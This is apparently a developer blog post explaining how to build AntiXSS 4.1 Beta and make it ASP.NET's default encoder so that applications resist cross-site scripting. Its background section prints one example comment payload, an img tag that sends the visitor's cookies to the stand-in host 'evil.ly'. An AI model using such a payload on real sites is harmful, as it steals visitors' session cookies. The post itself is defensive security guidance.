Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET
Background on Cross-site scripting attacks
Cross-site scripting attacks, or XSS, are a common web application vulnerability in which an attacker uses your website to present malicious code to another user. OWASP sums it up like this:
Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.
A simple example of this kind of attack works like this:
- A hacker - we'll call him Barry - notices that my blog's comment system doesn't screen input
- Barry posts some malicious content, maybe something with a script tag, or maybe something that steals cookies, like
Great post! Gucci handbags! <img src='http://evil.ly/?cookies=' + escape(document.cookie)" /> - The next person to visit my site - we'll call him Rob Conery - is presented with the HTML that Barry posted in the comment, which grabs their cookies and sends them off to their evil server
This is a simple example, but as you can imagine, these attacks can get pretty devious. Twitter, Facebook, and MySpace have been hit with this. Take a look at the OWASP writeup for more info, and take a look at the XSS Cheat Sheet at ha.ckers.org to get an idea of how sneaky these attacks can be.
AntiXSS
AntiXSS, part of the Windows Protection Library, has a lot of encoding functions which help prevent XSS attacks in ASP.NET applications. Whereas the standard .NET framework encoding uses a blacklist approach, filtering out known bad characters, like < > and " characters, the AntiXSS library uses a whitelist of known good characters. AntiXSS also has protections in place spanning character sets in over a different languages. Due to this approach, AntiXSS is inherently safer against new XSS attacks.
There are two ways you can use AntiXSS in your ASP.NET applications:
- You can make use of the AntiXSS Encoder in your application code (e.g. controller code, View markup, Web Forms code behind, and Web Forms markup)
- If you're using ASP.NET 4.0, you can also specify a default encoder, which will be used by ASP.NET whenever it needs to encode output. The recommended approach is to use AntiXSS as your default encoder.
All this is, so far, old news. Phil Haack wrote a blog post last year on Using AntiXss As The Default Encoder For ASP.NET. This required including the AntiXssLibrary assembly in your application, and writing a class which inherits from the HttpEncoder abstract base class, and making a setting in the web.config which tells the ASP.NET runtime to use your encoder class.
Starting with AntiXSS 4.1, though, this gets easier, since AntiXSS 4.1 includes an encoder class for you.
Getting the AntiXSS 4.1 library
Since AntiXSS 4.1 is currently in beta, you'll need to build the assembly from source. Fortunately, in a break from the standard OSS .NET projects I've encountered lately, Barry has posted source that builds without any wacky configuration steps, libraries, or build tools whatsoever. I like it already!
Note: Since this we're just adding an assembly to our project and making a simple change to the web.config, I would expect that this will be available as a NuGet package when AntiXSS 4.1 goes RTM.
1. Grab the source from http://wpl.codeplex.com/SourceControl/list/changesets, download the latest version of the source, and build. Easy so far.
2. Build the Microsoft.Security.Application.Encoder.Net4 assembly. This is important - if you just build the Encoder project, it won't include the AntiXssEncoder class.
3. Grab the AntiXssEncoder.dll assembly and drop it in a folder. I generally keep a /lib folder next to my project folder, so it sits next to the /packages folder if you've got NuGet packages installed as well.
4. Add a project reference to the AntiXssLibrary.dll. The simplest way to do this is to use the Project / Add Reference dialog, pick the Browse tab, and navigate to the /lib folder you just added.
5. Modify your web.config so that your system.web/httpRuntime/encoderType is set as shown below:
That's it. Now any time ASP.NET needs to encode content, it will delegate to the AntiXssEncoder.
What's changed?
Well, there's really an observable change, honestly. I asked around for examples of known XSS vulnerabilities that would get by the ASP.NET default encoder but would be caught by switching to use AntiXSS as the default encoder and came up empty. So... was I just wasting your time?
No, this was still time well spent, for three reasons:
- AntiXSS is inherently more secure due to using a whitelist approach. Many security audits and certifications will require you to use a whitelist XSS encoder because a blacklist is always potentially vulnerable to unknown attacks.
- Newer browsers have better XSS filtering built in, but there are vulnerabilities in older browser (e.g. UTF-7 charset switch) which wouldn't be detected picked up by the ASP.NET default encoder.
- It's now easier to use the other AntiXSS encoding functions within your application. We'll look at that in the next post.